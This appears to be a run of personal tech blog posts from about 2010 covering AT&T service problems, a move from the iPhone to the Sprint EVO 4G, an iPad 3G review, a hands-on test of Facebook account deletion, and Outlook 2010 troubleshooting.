I'm no cell phone service expert. Far from it. But one thing I've wondered over the past few days is whether the issues on the AT&T network are solely carrier problems, or if some small part of the blame might be Apple's. Is it possible the methods of connecting to and communicating on the network being implemented by Apple aren't optimal? I wonder because for the past year I've carried my iPhone with me for personal use, while at the same time carrying a Blackberry - also on AT&T's network - for business purposes. Frequently the Blackberry performs better in any given location than the iPhone. But not always. There are times when both devices just fall off the back of the truck as far as network connectivity and reliability (for both voice and data) is concerned, Yet I can say based on that year's worth of experience that when I've needed to make a call and ensure the best chance of staying connected and not getting dropped, I've used the Blackberry with noticeably greater reliability.

The amateur radio geek in me in me can think of a few possible reasons for the difference between the performance differences between my iPhone and the Blackberry in the same locations at the same time:

• They connect and communicate differently - Obviously the engineers at the different phone manufacturers don't get together in the same room and write radio code, so I suppose it's possible RIM's people are better at this than Apple's folks.
  
• They're using different cell towers/radios/bands/frequencies - Since these are multi-band transceivers, one has to remember that they may not be operating on the exact same infrastructure equipment at any given point in time. In that case, performance would likely be different.
  
• The Blackberry seems to hand-off to EDGE sooner than the iPhone, and it stays connected to the network at least a little more reliably.
  

Just a quick note to say “way-to-go” to Matt Mullenweg and the whole WordPress community team on the new release of WordPress 3.0 – This is a huge release!

The merger of single- and multi-user versions is great. So cool to watch WordPress grow over time. I remember eating lunch with Matt at a Gnomedex conference back in the day. Good guy.

I plan to move to WordPress sometime in the future for this weblog, but the whole “keep the link, content and search engine indexing” thing demands some careful planning that I have not had a chance to do yet. Anyone a pro in migrating from dasBlog to WordPress and making it actually work? I love dasBlog, and it’s been really good to me, but it feels like time for a change.

As I explained in my last post, I made the decision over the past few days to move away from AT&T for mobile phone service, which necessitated a change in the smart phone hardware I use since the iPhone is exclusive (for now, anyhow) to AT&T in the United States. I did some research, got some advice from people I know, read a lot of reviews, and  heard out several others who contacted me with their thoughts -- and then today I took action.

After work, I left the office and started for home. It was a little after 5pm, and I thought to myself, I wonder if there’s a Sprint store nearby? I’d been looking at the HTC EVO 4G, a truly impressive Android-based smart phone that operates on the Sprint/Clear 4G network for data, as well as Sprint’s 3G mobile network.

Turns out there’s a store just a few blocks away, so I turned around and drove there. I had realistic expectations as I headed over: The HTC EVO 4G is sold out on the Sprint and HTC web sites, and is in very short supply/unavailable pretty much everywhere, so my hope was that the store would at least have a working demo unit that I could take a look at and test drive.

Turns out they had two working units on the shelf, and the *very* friendly and *very* helpful young lady at the store quickly and expertly walked me though the phone for a minute or so. I was pretty impressed with the fact that she immediately picked up on my experience and expertise level and tailored her very knowledgeable interaction to me. So if someone at Sprint reads this, please take this as a commendation for Meghan O. at your Tanasbourne Town Center store in Beaverton, Oregon. She deserves a customer service award, truly. No pressure, all information, and true passion about the phone and Sprint’s service. Compare that to my experiences in AT&T stores and there’s really no contest. In fact, the Sprint customer service experience reminds me a lot of the service experience in an Apple store, come to think of it. Hmmmm… Maybe Apple should think about that.

But I digress. It turns out they had three brand new, in-the-box EVO4G phones that people had reserved but not picked up, so they were available for the taking. Oh, I started to drool. Well, not really – but I think you know what I mean.

I’ll save all the gory details of why this is such a cool phone for another post, since I need to get some sleep tonight. But I want to explain here why I’ve decided to engage Sprint as my probable (operative word there, see below) new service provider.

• First of all, I can get more for my money. For the same price I am paying AT&T each month for iPhone service and a data plan, I can get the same number of minutes, same unlimited messaging, free calls to any mobile phone on any carrier in the US, free nights and weekends, and – BONUS – the Sprint hot-spot coverage, where the EVO 4G acts as a wifi hot-spot for up to 8 devices to access the Internet.
• I haven’t decided this yet, but I am considering dropping the 3G data service plan from AT&T on my iPad and just using the EVO 4G to provide Internet service via the hot-spot capability (and at faster speeds, I should add). The $30 a month savings pays for the hot-spot feature. I could always sign up as needed for AT&T 3G service on an ad-hoc basis at $15 a month if I need their service for some reason.
• Sprint has a 30-day return policy, which allows you to evaluate Sprint and the hardware you choose, and return the equipment in non-damaged condition within that window for a full refund - including no charge for the service used. In effect they’re saying, “Come try us, and if you don’t like it, we will take the equipment back and make you whole again.” That’s corporate confidence, and should I find out I’m an idiot and made a bad decision (or if I decide I want to take a look at a third carrier) I have the option to get out, no questions asked. I like the try-us-on option. Good move.
• Sprint’s early termination fees are substantially lower than the competition’s newly-published penalties: At Sprint, it’s $200 max, and after you’re about 8 months into your 24-month contract, the penalty starts to drop by $10 a month until it bottoms out at $50 -- and that’s a pretty reasonable deal.
• No limits on data usage for the smart phone. AT&T and others are now capping their “unlimited” plans (and thank goodness, they’re re-labeling them in most cases to be more accurate in their descriptions).
• In the store, Meghan’s customer service skills and knowledge simply won me over. She was confident in what she was saying, quick but not rushed, covered all the bases accurately and efficiently, and answered literally every question I had with answers I wanted to hear.

I’ll add a few things about the EVO 4G phone, because they just have to be said. Keep in mind, I am a bit of an iPhone and Apple fan-boy, and I made the tough decision to leave AT&T and the iPhone not because of Apple’s hardware and software, but instead because of AT&T’s poor service and quality woes.

• This is a sharp phone. The screen is big (really big) and vibrant and it’s a solid build. It feels good in your hand.
• The camera is great, and even gives you access to detailed configuration settings like auto or manual white balance, various recording resolutions, etc.
• And that’s just the main camera. There’s also a second, front-facing camera working at VGA resolution for video chatting/conferencing or whatever you want to use it for (maybe you want to shoot your own passport pictures – it’s all up to you).
• One thing the Apple iPhone doesn’t have a native app for (which is a real shame), but Android does: The Google Voice app. I downloaded and installed the GV app in about a minute and configured it to use my Google Voice account, and now the Android phone uses my GV account – natively – to place and receive calls and text messages. It’s totally borged, all wired in tightly without the need to launch a separate app for calls or anything. You go to the regular phone and messaging apps on the phone, and they knows they’re tied directly to Google Voice. That’s huge, and it’s unique to the Android platform. If you’re a Google Voice power user, Android is *definitely* for you. Find me and ask for a demo, I’ll show you what I mean.
• The Android UI is awesome. It’s responsive, intuitive and even fun to use. I’m impressed.
• 4G data service. I happen to live in Portland, Oregon, which is one of the early cities that got WiMax/4G from the start. The network is pretty well established here and so this means a lot in my book. Fast Internet service for a flat fee and ability to share it with other devices is hot.

There’s a lot more to love about the EVO 4G phone, but I’ll save the rest for another post. Suffice it to say, I am pleasantly surprised and quite impressed with both Sprint and the new HTC phone.

More to come later. If you have an opinion, comment away and let me know!

And to Apple: I’m sorry, but as good as you make me feel about the world of technology, I just don’t love you enough  to endure AT&T’s bad habits anymore. So, the iPhone has to go, too. And that makes me sad. I truly wish things were different. I almost can’t believe I’m doing this. They say if you love something, let it go free. It’s a brutal suggestion, really.

Let me start out by saying, for those who don’t know, that I’m a security and IT management professional by trade. I’ve held executive and senior management roles for both security and IT functions at a publicly-held company in the financial services space, I’ve consulted with governments and companies large and small on cyber-security issues, and these days I manage security strategy for a Fortune-500 company. So, I have some perspective and reality-based opinions about security and quality.

Let me also say - plainly and clearly - that this blog is where I voice my own opinion about things that are on my mind (as opposed to discussing work-related topics). And my mind is pretty active right now as it concentrates on my personal AT&T Wireless account and the lack of service and security quality the company has delivered over time. In other words, I have some strong opinions on the topic.

This is certainly a bit of a rant, but it’s not a knee-jerk reaction. It’s grounded in reality and reason and I have put some time and thought into my decision.

And enough is enough: I’m done with AT&T.

First AT&T’s reliability and call-handling problems were the issue, and frankly those were bad enough on their own. There are locations where I can *guarantee* calls will drop on my iPhone on the 3G network, every single time. Areas with three to five (out of five) bars of signal strength that suddenly drops the call and goes to zero, before churning around trying to reconnect and eventually coming back with a full signal once (I assume) a tower hand-off finishes. I actually have to tell people that the call will drop in a few seconds and that I will call them back in a couple minutes when the service recovers. They always want to know how I can know that. It’s sad. Coverage has gotten *worse* over the past several months in many areas where I travel, and call reliability has suffered. It’s probably worth noting that the same bad service areas affect my iPad’s 3G data access, as well. So, it’s not just my iPhone.

As if that wasn’t enough, there’s the costs associated with the AT&T service. We pay a premium for iPhone voice and data plans, and get crap for service in return. If I had a buck for every time someone tried to call me and got voice mail, while my phone was sitting in front of me with four or five bars yet never rang once, I’d be able to pay that early termination penalty AT&T requires of it’s customers. It’s bad enough that AT&T sells us this poor service, but it’s even worse that Apple isn’t more publicly vocal and more forceful about getting the problems solved. It’s been three freakin’ years already, for gosh sakes! There is absolutely no excuse.

Then a week ago comes news that AT&T’s iPad registration service was exposing email addresses and validating iPad hardware identifiers, as uncovered by a hacker group with an unfortunate name (don’t Google it if you are not already familiar with why it’s unfortunate, just trust me on that one). I, too got the victim-list email from AT&T describing what had happened, six or seven days after the fact. It’s not the actual leak that stinks in this case, it’s the fact that such a design would make it into a Internet service in the first place.

Since then, there’s been a bit of a meta-debate about who’s responsible for what, and all of it is really just details. The fact that the information leak *could* happen in the first place is yet another indicator of why AT&T is a sloppy, careless company when it comes to the services I consume and my personal information. Shame on them. But there’s more…

Then this week comes the straw that broke my proverbial camel’s back, as AT&T’s servers fail massively under load during the iPhone 4 pre-order, and we discover that apparently the company's critical software changes didn’t get tested, and changes got made at the last minute. Oh, and as a result our personal data is being exposed – once again - due to a supposed flaw in the AT&T systems and how they access database records.

Holy cow.

Regardless of the variety of outstanding questions about the exact details and severity of the security situations, the very existence of these problems is more than just problematic.

One has to wonder, if one is being pragmatic and watching the past couple weeks’ activity: What else might they be skimping on that we don’t already know about? If I followed the same practices and didn’t test or validate security and functionality in my line of work, there’s no doubt I’d be gone in a second. Again, simply unacceptable for a huge company and it’s customers, who demand and require trust.

None of this is indicative of a company that practices good, basic security principles as a matter of course. It’s not indicative of a company that strives first for quality. And it’s not the type of company I feel like I can trust anymore.

So, I am quitting you, AT&T. I’d say it’s been nice knowing you, but that would be mostly a lie. So I’ll just walk away and let the past be the past, and focus on the future. Nine-plus years is enough. Good luck to you. I hope you will change, but it’s going to take some serious work, and I just don’t know if you can actually do it. Your track record is not good. Change is hard. Change means pain. And  in the end, most people aren’t willing to endure that process. But maybe you will, and if you do please let me know. I’d like nothing more than to be a happy customer and to write something happy and positive here. I’ll keep my iPad service going with you, since I don’t really have much of a choice and its very existence is part of what makes it possible for me to let the iPhone go. But it’s time for a new phone on a new carrier.

Maybe someday you’ll earn my business back. You might have Apple in your jaws of exclusivity, but not me. For now, you’ve lost my trust and business -- and please realize that you killed an Apple iPhone customer in the process.

And that’s really saying something.

P.S. – A quick final thought to Apple:

I love the hardware. I love the OS. I love the apps. But I can’t stand the service provider, which has failed us for too long now.

I fail to see how you can continue to do exclusive business with a company like AT&T, and I hope you’ll quickly open up options for your customers. Maybe you’re already working on it, which would be a breath of fresh air in this cramped, stuffy, smelly room. I’m sure many will suffer the pains of AT&T to get your hardware and software in your hands, and honestly this is a painful decision for me to make because your phone is something I want and need. But your corporate quality and image is directly tied – even intertwined - to AT&T in the United States, and for a company that stands tall on the ideals of doing things well rather than doing them first, your AT&T relationship is a failure of massive proportions, with quality never measuring up and ability to correct way too lacking. For what it’s worth. I want your products more than any other, but AT&T’s issues have finally crossed a line and have reached the summit of Mt. Unacceptable.

So, what do I do? Please, tell me. Do I wait patiently for a relatively short period of time for another carrier option, or do I just make the move now and use someone else’s hardware?

I am truly sorry to have to leave, Steve. Please, win me back.

Dubbed Astdroid, a new project by Danny Pier hopes to raise a small amount of funding between now and July 7th to launch a smartphone running the Android operating system (specifically Danny’s Sprint EVO 4G phone) into space. He plans to use a weather balloon launch vehicle and to raise the phone to around 35,000 meters. The phone would take pictures and return to earth via parachute once the balloon pops.

It’s a cool idea, with all sorts of possible problems. But what I find most interesting and exciting is the simple idea of just trying it.

I can relate to Pier’s frustration with the idea that the next time NASA will set foot on another terrestrial body it will be Mars (not the Moon), and it will happen sometime around 2035. I’ll be 68 years old in 2035, and while I certainly plan to last that long, I would love to see something more happen before then.

If NASA isn’t going to do it (which is a mistake of huge proportions in my book), then it’s up to us to stake baby steps and push for private space exploration, in whatever forms it might take.

Pier’s plan is to run software on the Android that will collect location and image data, transmitting back the location data in real time. He wants to recover the phone when it gets back to earth, gather the data and images from the phone, and use it again to do the same thing. He plans to share the software he uses so others can also explore.

The entrepreneurial spirit is powerful. Fun, relatively simple projects like this (well, simple compared to the space shuttle, at least) are a great way to encourage others to fuel the private space race, and I hope Pier’s passion rubs off on others.

And any Android phone is orders of magnitude more powerful computer-wise than anything that flew on an Apollo mission, and even more advanced than a lot of what’s flown on many of the space shuttle missions.

I’ve contributed to his effort, and I hope you will too. An investment in imagination and passion is always worthwhile.

And honestly, this is something I’d love to try someday, myself. :)

I tried to reserve an iPhone 4 through it this morning, but each time I enter and submit my phone account info, the app crashes and I'm returned to my iPad's home screen.

If I had to guess, I'd say AT&T's systems might be the problem since it crashes at the time the AT&T account info is submitted, but who knows. Regardless it's not a very graceful way to handle an error. :)

You can shop for anything Apple in the app, which is actually pretty slick.

Update: Still having problems on the AT&T site (which says it’s down for a server upgrade) and the Apple site, as well as the new iPhone store app doing the reservation. Honestly, you’d think these huge companies would plan ahead for the kind of volume they get every time these releases occur? If your bank planned ahead like this, you’d never get you money. It’s really completely inexcusable, and the track record is horrid. It’s hard to feel comfortable trusting my communication services and information to companies that don’t successfully execute on the basics like availability. Yikes…

Ah, dilemas...

Yesterday as I was sitting on one of my favorite chairs with my iPad in hand, I found myself browsing the latest iPhone 4 news and rumors online. After all, the new Apple smartphone will be released to the wild in a week, and pre-orders start on Tuesday (tomorrow). So I had to get my fix of the excitement.

But as I sat there for a while and hopped back and forth from the web browser to this app and that app on my iPad, it occurred to be: Maybe I don't really need an iPhone anymore. Maybe I should look at my options.

Why would I even consider this? Well - because I have the iPad.

A moment of clarity washed over me as I realized that all the functionality I rely upon on the iPhone is also available on the iPad, with few exceptions. All of my aviation software that I use for flying I have on the iPad for example, and honestly I prefer to use it there. Come to think of it, all the apps I use regularly are getting by far the most use these days on my iPad, not the iPhone.

So, what exactly am I using my iPhone for, now that the iPad is in my life? What would I lose if my iPhone disappeared for good, that I can't find on my iPad? Honestly, it's a pretty short list:

• Phone calls -Obviously I don't make calls on the iPad, those all happen on the iPhone. And the phone's not too reliable for that purpose, I should add. But I blame AT&T for that issue.
  
• Text messages - Which I also cannot do on the iPad, at least not in the native form. I use Google Voice for all my text and inbound voice calls anyhow, so I do some of that on the iPad, some on the phone.
  
• Location and mapping - But, most of my GPS navigation and guidance work is now performed by the iPad (there are a couple great HD turn-by-turn apps available).
  
• Facebook app - just for convenience, and because the app on the iPad is, well, the iPhone app (and what the heck's up with that anyhow?). But I also do Facebook in the Safari browser on the iPad. It's just not as portable. And Facebook is hardly a deal-breaker requirement.
  
• The iPhone is there any time I need pocket-sized app services - And this typically means using apps for things like weather and finding a store or restaurant, which I think can be done from other phones pretty easily. I don't want to carry the iPad with me everywhere, so there are times when I would have to go without.
  
• Photos - Again, not something you can create with the iPad since there's no camera. But honestly the camera in the iPhone 3G isn't much to speak of, and any phone I'd buy today will dramatically improve on the camera story. I might even get - *gasp* - video capability.

So - What to do?

I should point out that I do have a few strong reasons to want to stay with the iPhone and get the new model. It has a great interface, common apps between devices are nice to have, and the fact of the matter is things look terrific on the iPhone display (and will look even better on the new one). I like Apple's hardware and software very much, despite the walls and restrictions they've put in place.

In the "alternatives" department, I've started looking at the Sprint EVO 4G - a big new phone with a good performance spec sheet. There have been some rumors of glass/screen de-lamination so I will have to look into that to be sure. And battery life is rumored to be a bit weak. But, having access to 4G wireless data speeds in the city and a Sprint monthly service plan that costs less than the AT&T equivalent by as much as $30 is tempting. In fact, I could add Sprint's $29.95 Internet-sharing plan to the EVO 4G and it would serve as a wireless hotspot for me and 7 of my closest friends if I wanted. And all that for almost exactly the same cost I pay AT&T today for the same service, sans the 4G speeds and hot spot.

I've also thought about the new Verizon phones. The Droid Incredible looks pretty darn sharp, although it appears one will have to wait until July for it to ship. And Verizon's network is - well, you know. It's the network!

One interesting and frustrating tidbit about both of these Android phones is that neither comes with the Froyo (v2.2) version of Android installed. I'm sure HTC will ship it for the phones before too long, but it would have been nice to see them ship with the latest OS, especially given the performance improvements made in that version.

And so, none of this brings me any closer to a final decision. None of these phones are available today, but since pre-order time is here I feel like I should be making a choice. I guess I don't have to, but I don't really want to wait for too long. This shattered screen is pretty aggravating.

It would be cool to see the Android phones in action and to see whether the Android apps look any better on the phone's screen than they do in screenshots available on the web. Frankly, iPhone apps look pretty awesome most of the time, so I am a bit of spoiled iPhone snob, I suppose. Many of the screen shots of Android apps I have seen look like something on a Commodore 64 from when I was a kid. But maybe that's not the norm. So, if anyone has an EVO 4G they'd like to show off in the Portland area please let me know. :)

What would you do, and why?

There's been a bit of a stink recently around whether or not Facebook's account deletion process works the way they say it does. The number of people pontificating in the tech blogger fishbowl has been rather amazing, but I have yet to see someone actually take the time to create, delete and reactivate an account, log on via a third party tool after an account was deleted, see what happens, etc.

So, I did just that in order to find out how the Facebook account deletion and reactivation process works.

In a nutshell, it appeared to work as advertised, right up until I got to the end of my testing, at which point my account was (much to my surprise) reactivated without my explicit permission. It seems the steps one takes must be the defining factor with regard to whether or not it works the way the user expects and (I expect) the way Facebook intends for it to work. In fact, I am unable to reliably recreate the situation, as I describe below. But at least one time the Facebook system reactivated my account without my request to do so.

I'll say right now there's no signs of deception or anything on the part of Facebook. If anything, it's more likely an edge-case bug of sorts, and no harm is done.

Screen clips and description of what I did to test the process follow. I set out to do this with the purpose of documenting the steps along the way.

First of all, I created a new account (I don't want to delete my old one) under the user email ID of greg.pdx@gmail.com. You can try to add me if you want, and if I get any communications as a result I will be sure to update this post.

Next I received the confirmation email for account creation and clicked the link in the email to crete the account.

And so in a few minutes I had a new Facebook account and profile:

Next I added a couple friends and Chris Pirillo, true to form, was quick to accept the request. I then went to my iPad and started up BeeJive IM, which I use to chat on Facebook and Live Messenger at the same time.

It uses Facebook Connect to log into the Facebook chat system. I provided my credentials on the iPad, set the appropriate permissions, and was quickly logged in:

I then signed out of chat and returned to the browser on my notebook, where I visited the hard-to-find Facebook account deletion page at

http://www.facebook.com/help/contact.php?show_form=delete_account

and started that process.

and received the notification both on-screen and in email that my account was scheduled for deletion in 14 days (which, by the way, is a very good way to go about this on Facebook's part, but we can save that for another time).

I then logged back in and received this message:

I decided to try reactivating and deleting again, which it allowed me to do. I received email notifications as well as on on-screen confirmation. Here's the email:

Now for the important part. I then went back to my iPad and logged into Facebook Chat via BeeJive, here is what I saw:

The only option available was to reconnect. If I reauthenticate via Facebook Connect, I am presented with the below screen, asking me if I want to reactivate my account. I have to specifically tell it "yes" in order for that to happen. No emails were received notifying me I was reactivated like happened before.

But wait -- I then went back to by notebook once again and opened up my web browser, and tried to log back into Facebook. I expected to see the same screen shown directly above, but instead was surprise to see my Facebook profile page! Within seconds, an email arrived from Facebook, again welcoming me back to Facebook. The only problem is, I never clicked on the Cancel Request button to tell Facebook I wanted to cancel the deletion of my account.

What's even more interesting is the fact that when I tried to recreate the situation again, Facebook is functioning as advertised. I'm now being prompted and asked if I want to cancel deletion or deactivate the account, where before I got the unexpected welcome-back email.

Well, it's certainly strange. Perhaps there's an edge-case issue/bug here that requires some specific order of operations to trigger. All I know is it happened to me, and frankly I was pretty surprised when it did. Facebook has some of the best talent in the industry and they work amazing technical miracles every day. But, bugs do happen. Maybe there's a log somewhere in the bowels of Facebook's data centers that can show what happened here, and someone can figure it out.

Before I finish, a brief comment on the 14-day deletion window. People are screaming that if they want something deleted, it should be deleted right now. Unfortunately, in the real world bad people steal passwords, drunk friends pull stupid pranks, drink account holders make stupid decisions (and I am specifically referring to account deletion, not drunk photo and video posting). There are many, many good reasons for a deletion grace period, reasons that protect users. I am glad they have it, and I think it would be negligent not to provide that to users considering the size, scope and importance of the service provided.

Google Voice is a great service, grown up from the acquisition of Grand Central a couple years ago. When Google acquired Gizmo 5 last year, many of us who use Google Voice and benefit from its features got excited: Maybe they were on the cusp of bringing Google Voice to the desktop.

And the masses began to rejoice.

Well, unfortunately TechCrunch is reporting today that the Google Voice desktop app, which has apparently been confirmed as being reality and in testing internally at Google, may not see the light of day. Arrington suggests the reasons for that may be religious/philosophical in nature and that the team has been directed to look at building a web app instead.

And if that's true, well then that is a very sad thing, indeed.

So, Google - Let me be the voice of just one customer who has touted the service and used it extensively... one customer who says please - please - consider the situation for your end users here. We can benefit today from a desktop client and there are many use cases where a browser doesn't make the best sense. There are several recent examples of desktop/installed software coming out of Google, and Google Voice is one place where it just makes good sense to do a desktop app. And I should also point out that by releasing a Google Voice desktop app, there's nothing preventing Google from working hard to develop a strong and powerful HTML 5 app for the future - In fact, I would hope and bet good money you're already doing just that, as well!

We really want a Google Voice desktop app, and we really want it from Google. Please, if there's any actual debate over the right's and wrong's of delivering a desktop client, reconsider your position and make some happy customers very happy. And, when a HTML 5 app becomes workable and available we'll certainly cheer about that as well because we'll use it, too.

Thanks.

The Apple keynote where a new 4th-generation iPhone is expected to be announced starts today at 10am. I'll be getting on a plane to go to Chicago about that time, so it looks like I will have to catch up on the news when I land.

I will probably get a new iPhone, as long as they don't cost an exorbitant amount of money. My current phone is the original 3G model, has a shattered (but still fully functional) screen, and is very, very slow with some of the resource-intensive apps I run. I've looked at Android phones, and while the OS is cool the apps I use the most are not available on that platform and likely never will be.

I bought my iPad 3G just a month ago, and at the time I signed up for the AT&T Wireless unlimited data plan for $29.99 a month. I’m glad I did, and should point out to anyone on the 250MB plan who wants (or thinks they want) a truly unlimited plan, you have until June 6th to sign up for that plan. After that date, the unlimited data plan won’t be available anymore.

AT&T has announced they’re ending unlimited data plans pretty much across the board. The new plans will provide 250MB and 2GB of data each, with (fairly reasonable) overage charges. Current smartphone customers are not required to switch to the new plans, but can choose to do so without a contract extension.Before explaining the packages, I went to my iPad to see how much data I used during my first month with the iPad:

I’m a pretty heavy user, with a chunk of my use at home, but plenty of data use on the road. So, maybe a 2GB account would work for me (at least most of the time). AT&T says only 2% of their smartphone users exceed 2GB per month. If I was working away from my home office even more, I think I’d likely hit the 2GB top end of the new account. And while I understand the logic around the per-month statistics for smartphones, the iPad really is a different type of device. So, I wonder what the iPad user monthly usage statistics are. What percentage went over 2GB in the first month the iPad with 3G was available? AT&T didn’t spell that out for us.

Luckily, I can retain my unlimited iPad data account if I want to. I just have to keep it auto-billing in order to keep it available, it sounds like. In the future if I find my usage consistently allows, I can choose to go for the 2GB capped account and save enough money for an expensive coffee.

Plan details from AT&T’s press release:

DataPro. Provides 2 gigabytes (GB) of data – for example, enough to send/receive 10,000 emails (no attachments), plus send/receive 1,500 emails with attachments, plus view 4,000 Web pages, plus post 500 photos to social media sites, plus watch 200 minutes of streaming video – for $25 per month.**  Should a customer exceed 2 GB during a billing cycle, they will receive an additional 1 GB of data for $10 for use in the cycle.  Currently, 98 percent of AT&T smartphone customers use less than 2 GB of data a month on average.

DataPlus. Provides 200 megabytes (MB) of data – for example, enough to send/receive 1,000 emails (no attachments), plus send/receive 150 emails with attachments, plus view 400 Web pages, plus post 50 photos on social media sites, plus watch 20 minutes of streaming video – for just $15 per month.**  This plan, which can save customers up to 50 percent off their wireless data charges, is designed for people who primarily like to surf the web, send email and use social networking apps. If customers exceed 200 MB in a monthly billing cycle, they will receive an additional 200 MB of data usage for $15 for use in the cycle.  Currently, 65 percent of AT&T smartphone customers use less than 200 MB of data per month on average.

** Usage examples are estimates. Individual results will vary based upon customer’s Internet usage patterns.

I guess the one thing that bothers me is that AT&T and Apple launched the iPad with an unlimited plan option. I am quite glad that existing iPad users can keep the plan they signed up for, but I think about future and new phone capabilities such as the likely video conferencing and streaming on new mobile devices that are set to be available this summer. I worry about plan limits which – in the future – could consistently result in overage charges once data usage organically increases with new hardware capabilities and demand.

Okay, file this one under super-cool. A company called Parrot has built and demonstrated a flying model helicopter (quadracopter?) called the AR Drone. With four blades, it’s controlled by an iPhone using WiFi and the phone’s motion-sensing capabilities.

It also streams video from a camera mounted on the flying machine back to the iPhone. It’s a like mini predator drone for your living room or back yard (well, sort of).

I want one. Or at least to play with one. As a product it looks to be well-executed and a lot of fun.

Check out the Web 2.0 conference demo video below, as well as a Parrot video. A whole slew of additional videos from Parrot are available on YouTube.

You can also find out a whole lot more about the AR Drone from the Parrot web site – Just click here.

On Friday evening last week I stood in line for about an hour along with a slew of geeks and even a few nerds at the Apple Store in Tigard, Oregon to get one of the first Apple iPad 3G models. There were about 35 or 40 people ahead of me in line, and a few more than that in line behind me by the time the 5pm release clock rolled around and the Apple staff came screaming down the hallway in the mall.

Within only 15 minutes I was already on my way back out the door of the store with a 64GB 3G model in a bag, and about $930 less in the bank (I got the AppleCare contract based on past experience). I picked up the model with the most storage simply because (again based on experience) I have tended to skimp in that area and have always come to regret the choice. So, this time I was all-in.

As I have mentioned before here, I use my iPhone for all sorts of things, but especially for aviation related tasks. Since the Foreflight aviation software for pilots was released in an iPad HD version in early April, I knew that was going to become my electronic flight bag. In fact, I might not have even bought an iPad at this point if it wasn't for Foreflight. I waited for the 3G model before buying because its built-in GPS can be used by Foreflight's maps and location-based information system. I'll write a Foreflight HD review soon. It's quite awesome, especially considering this is the first rev if the HD version. I can't wait to see what they improve and add over time. Check out http://www.foreflight.com for details.

After using it for a few days, though, there are lots more reasons I'm glad I made the jump and picked this thing up.

There are so many well-worn cliche statements about the iPad that people have used over the past month. Some of them are especially true, though. For example, reading and writing email on this thing is awesome. It's the way it should be.

Not everything is so perfect in iPad land, though. I wrote this blog post in a program (BlogPress) that is available in a HD version that uses the full iPad screen space, but it won't publish to my site. I guess the metaweblog API isn't good enough for it. :) Unfortunately it appears a good, solid, full featured blog authoring app is a pretty serious gap in the bazillions of apps available on the App Store. There's an opportunity just waiting for someone to tackle it.

The 3G radio, as one pretty much has to expect, pulls down the charge on the battery faster than the iPad model that's just wifi. Of course, you can turn 3G and wifi off and on as you like, independently. How much battery power is actually used with a 3G connection seems to be dependent -- and this makes logical sense -- on the distance from the cell towers and the relative transmit power needed to make the radio connections. Id imagine its also dependent on the type of connection and the frequency band in use on a given tower. Common sense applies to battery life just like any other device. On both models backlight brightness also contributes to batty life, of course.

I've started searching for a high-output car charger, since the iPad needs more than the typical iPhone charger puts out. Kensington and a couple other companies are making a 2.1-watt charger that will allow the iPad to charge in the car in a reasonable amount of time, so I will be picking up one of those soon.

A few of my favorite other apps that have a place on my home screen page:

I set up and tried the AT&T navigator turn by turn software that I already had running on my iPhone. Even though its not iPad screen optimized and I have to use the zoom resized to go full screen, it works great and even better than on the iPhone 3G. The iPad has much louder and clearer voice navigation (and music sound for that matter) and the GPS is fast and more accurate. It just runs better overall. The iPad is a terrific GPS device it seems. Time for some custom iPad dash mounts. Do a YouTube search and you'll see a couple.

I've started using one iPhone app again that I'd let languish for some time because again its just better on the iPad even though you have to zoom it to use the full screen: BeeJive Instant Messenger. The extra real estate and bigger typing surface is great. I hope they release a HD iPad version soon.

The Safari browser on the iPad is awesome and almost so second nature I forgot to mention it. I did notice though that some sites optimized to work with iPhone are a little weird in the iPad browser. Google Voice is a good example (for both the mobile and standard interfaces especially when it comes to the voice mail playback areas of the interface).

Netflix for the iPad is pure genius, and as more flicks are released for streaming it just keeps getting more and more worthwhile. Hulu needs to get their iPad act together now, for real. The ABC video app is cool and now it plays over 3G with a new update, too. (updated) word is they will be updating it so you can play video over the 3G. Right now ABC's app only streams over wifi.

My favorite game so far is FlightControl HD, a top-down view map game where you land airplanes and helicopters and keep them from crashing into each other. Relatively simple, pure genius. Addictive stuff. I haven't tried many other games just because I'm not a huge gamer. Some of the driving games sure look fun though.

The Weather Channel HD app is also really slick. Lots of great info there, in a well-used piece of screen real estate.

There are others, as well but that gives you an idea. I'll write more at a later time.

Anyone else got a list of killer apps for iPad 3G I should be sure to check out?

I’ve received a number of emails this morning complimenting me on a YouTube video showing a new app that syncs with iTunes via the WiFi connection. The only problem is, I’m not the same Greg Hughes that wrote the app.

To see what all the geeky excitement is about, watch the video below.

The Greg Hughes in question is actually a guy in the United Kingdom. He tells me he’s a 2nd-year Computer Science student at the University of Birmingham. What he’s built looks pretty cool. I hope that when my namesake submits his app to the Apple Store, they accept it and let all of us get at it (I’m wondering if they won’t approve based on past decisions, and if they’ll say it performs an action already provided by an Apple product -- but I’d sure love to be proven wrong on this one).

The app is set to be submitted at the Apple App Store soon according to the author, and it looks like we can check for the latest information at http://getwifisync.com/ (there’s not much there as of the time of this writing, but that will almost certainly change) and there’s a Twitter account at http://twitter.com/WifiSync to check out.

I’ve been fighting a bit with my installation of Outlook 2010 (beta) for the past several days. Don’t get me wrong, now: I love Outlook 2010, it’s by far the best version of Outlook ever. The ability to have multiple Exchange account visible at one time is a killer new feature, and there are a lot of other great improvements.

But Outlook can be challenging sometimes. It’s a complicated program, especially when used with Exchange. So. now was just one of those times. Consistently the program would hang and I’d have to wait for what seemed like an eternity for it to come back to a responsive state. I did a lot of analysis and narroowing down the behavior by disabling a lot of account and feature settings, and decided that it seemed to be related to a hosted Exchange account I use for my greghughes.net email service. The more account features I enabled and accessed in Outlook, the more it would hang. For example, if I accessed the calendar associated with that account and then tried to open something, or if I switched from the calendar back to the mail view, or if I tried to look up a contact, Outlook would hang. It was to the point of being ridiculous in terms of getting anything done, since the hangs could last a few minutes or more at times. Outlook actually trained me to walk away and come back in 5 minutes. But that’s better than a busted up laptop, I suppose!

I started troubleshooting this and a couple other issues I was seeing that were affecting performance. One of the problems with trying to resolve Outlook issues is that the error messages the program provides are often very generic in nature and don’t point to a root cause. If I had a dime for every time it told me I didn’t have permission to do something , or for every time Outlook told me it’s trying to connect to an Exchange server and failing, I’d be rich. There are a zillion things that can cause these generic, simple errors. And the funny thing is, sometimes it’s not even an Exchange server it’s connecting to, even though it says it is. It might be connecting to a domain controller name instead to try to go a GC lookup, for example. You have to know what to look for, and how Exchange and Outlook work, in order to solve most Outlook behavior issues. Luckily I have a lot of past experience in that department.

At any rate, I eventually got to the point where I was spending my time looking at the Exchange Server’s connection status window. To see that, you locate the Outlook status icon down in the task bar near the clock, hold down the CTRL key, and click on the icon. Then you can choose the menu option for Connection Status. You only see that option if you CTRL-click the icon, though.

      
         (Server names omitted where appropriate to protect the innocent)

